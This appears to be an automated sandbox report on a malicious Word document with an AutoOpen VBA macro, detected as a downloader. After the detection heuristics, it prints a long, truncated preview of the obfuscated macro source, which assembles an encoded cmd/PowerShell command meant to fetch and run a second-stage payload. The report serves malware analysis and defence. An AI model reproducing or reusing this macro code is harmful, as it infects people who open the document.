MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Office document containing a large VBA macro. The macro's structure and the presence of the 'AutoOpen' function indicate it is designed to execute automatically upon opening. While the macro code is heavily obfuscated, its intent is to download and execute a second-stage payload, as suggested by the heuristic firings and the nature of the detected malware family (Doc.Downloader.Valyria-6666903-0). The embedded URL, though benign, is noted.
Heuristics 5
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ClamAV: Doc.Downloader.Valyria-6666903-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Valyria-6666903-0
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VBA macros detected medium 1 related finding OLE_VBA_MACROSDocument contains VBA macro code
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AutoOpen macro high OLE_VBA_AUTOOPENAutoOpen macro
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Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 49670 bytes |
SHA-256: bc5d1dcb1261640f4c275a06cd2d539091c8e224e336f05cfa18313cdf39f223 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ROwarMvqnjb"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "lRsNWZCwJkzG"
Function VVjinsUG()
On Error Resume Next
VarType TypeName(njbOA - rcbiia)
VarType 73547 - 81888
sEWcVu = "mD" + " " + " " + "/v^ ^" + " /c" + " " + CStr(Chr(ItmZjiErTu + vkDLMBSKdjWrjt + 34 + uBrWFcSRKHsos + RlWfIbuaR)) + "SeT " + "^ " + "V^x" + "J^=^p" + "^o" + "^we" + "rs" + "@e^"
IsArray ibiiOF - FtiOzG
VIPbZF = 75523 + 13715
VIPbZF = ioShd * CbXbq / 72238 / NwYnQ
VarType ahAqYH / RNkJm
LwqoZkK = "l" + "^l" + "^" + " ^" + "-e ^J^A" + "B" + "vA" + "E8Aa^Q^" + "A" + "9^" + "AG^" + "4^"
VarType Rnd(FIsSDU)
VIPbZF = 41134 - aBbQiv / 82984 - wNbzG
vnnJBRnjMlP = "A^" + "ZQ^B^" + "3AC" + "0A" + "^b^wB" + "]^AG^" + "o^A"
IsArray Str(AtFIu)
VarType asvFb + vSVZfa - 28520 + tPFvA
VIPbZF = 19960 - iChiSw + jwGTzd + 53624
mRDOShacr = "Z^QB^j^" + "A^iQ" + "^A" + "'A^" + "B^,AGU" + "A^dA^Au" + "^A" + "F^\^" + "AZQ^B]^"
VIPbZF = Round(48544 / PwRXq * 91147 - iBAUm)
VIPbZF = CDate(qYUMt)
VarType kJfOs + tOzip
qqOIJufz = "A" + "E^MA^b^" + "A^B^p^" + "A^G" + "U" + "Ab("
VarType 88604 / XmnEjp
IsArray zrHfG + 49389
uVLiN = "^" + "B^0^ADs" + "^A^JA" + "^BJ^A" + "^iY^AZ" + "AA9^A"
VIPbZF = Sgn(82)
VarType CDate(275787575)
kQMBH = "C^\A^a^" + "AB0" + "^A" + "iQA\^AA" + "^_AC8" + "AL^w" + "A[" + "^" + "A" + "^"
VarType CoDPuB * ftGHB
VIPbZF = Sqr(46915 / iiRUs)
VarType Tan(44136 - CmUXZ * 98111 - Yzocc)
VIPbZF = 10155 * jOCwW - 75150 / dwPEb
VarType Month(89529 * vGQRZi)
WVSvfziazSE = "G" + "0^A^" + "d" + "^Q^" + "B^[A^G" + "^k^A^Y^" + "w^Au^AG" + "4AZ" + "Q^B" + "^0AC^8"
VIPbZF = CCur(59837 + 71276 - 16026 + AlCzc)
VIPbZF = Int(233761844)
hTMLItGzNwa = "A^,Q" + "BV" + "A^F^oA" + "a" + "(BA" + "^" + "AG" + "(Ad^A^" + "B^0A^"
IsArray 78275 / hjfOiR / 85188 / roZTP
IsArray TimeValue(TizrJD)
VIPbZF = Fix(ikTIm / iiKwJv / 29034 + psAjRt)
doGbM = "i^A" + "^A^,(" + "AvAC8Aa" + "(^BvAG" + "^'A^YQ" + "^"
VarType 62421 * NXJpR
VIPbZF = 54771 + nrwDzu * ctRrS * vrmLd
VIPbZF = nAYziP + GbJFO
VarType Second(pjNXLQ - MazMc * 5657 / NjBaR)
VIPbZF = Int(sLipE)
sfavqkkvc = "B" + "yA^G^'^" + "A^YQ" + "^" + "A^u^"
VVjinsUG = sEWcVu + LwqoZkK + vnnJBRnjMlP + mRDOShacr + qqOIJufz + uVLiN + kQMBH + WVSvfziazSE + hTMLItGzNwa + doGbM + sfavqkkvc
VarType Month(PoWCjz)
IsArray LCase(52361 - 99299 * wDiYs - 64217)
VarType CDate(1869)
VarType Sgn(808)
End Function
Function jojspvYDmX()
On Error Resume Next
IsArray 4949 + FOQUiK
VarType Fix(MbjqUZ)
aYzJMcQT = "A" + "^G^M" + "^A^bwB" + "t" + "^AC8Adw" + "B^w" + "^AC" + "0^AY^"
VarType XriWld / FJCch - qowWjI + PPJKtP
VarType Fix(FjEXk - ALYXT)
IsArray CVar(28677 * YIICc)
VarType Atn(90219 - wqrWRI)
hlNCWOST = "wBvA" + "G4" + "^" + "A^d" + "^AB" + "^" + "l^" + "AG4A^" + "d^A^A" + "vA" + "^D\A^"
IsArray Log(55830 - FizZz)
WlwKDIPkV = ".(B^k" + "A^" + "i'^" + "Ad(^" + "B^0A^" + "Gw^A" + "^" + "Q^AB^o" + "^A^" + "i^Q" + "^A^d^A"
IsArray 67795 / dXwPXX - 256 - ACqmmX
VarType Tan(NfNjsc)
USnai = "^" + "B^w" + "A^" + "D^o^A^" + "Lw^Av" + "Ai^\^Ad" + "wB3A" + "C^4A^e"
IsArray CDate(fjPzLD)
AfSIKK = "^" + "Q" + "B^}AG" + "^EAb" + "(B{" + "AG(" + "A^" + "d^" + "QB^@^" + "AC4AY" + "^w^B" + "v^A^" + "G^0A"
IsArray Second(RWzbUw - 33279 * hQmjS * oojYk)
qCkwqB = "Lw^BVA" + "E^A^A^a" + "^AB^" + "0^" + "A^i^Q"
jojspvYDmX = aYzJMcQT + hlNCWOST + WlwKDIPkV + USnai + AfSIKK + qCkwqB
VIPbZF = Hex(SERsr * qpwltr)
End Function
Function KBZHEC()
On Error Resume Next
IsArray TimeValue(mLPRZu)
VIPbZF = Val(OMVbL)
IsArray 59589 * szQEv / bHhbs + ApbFz
tkiojUMMj = "A\^A^A_" + "^" + "AC^8A" + "LwB0A^G" + "(AZQ"
IsArray Str(ViYFd)
VarType Sin(fWIfO)
IsArray Atpkq * kHkzCW + ZlQcJ - SzKZLa
VarType Month(vlYwi / johQPL)
AsHwcfUZCi = "^" + "B
... (truncated)
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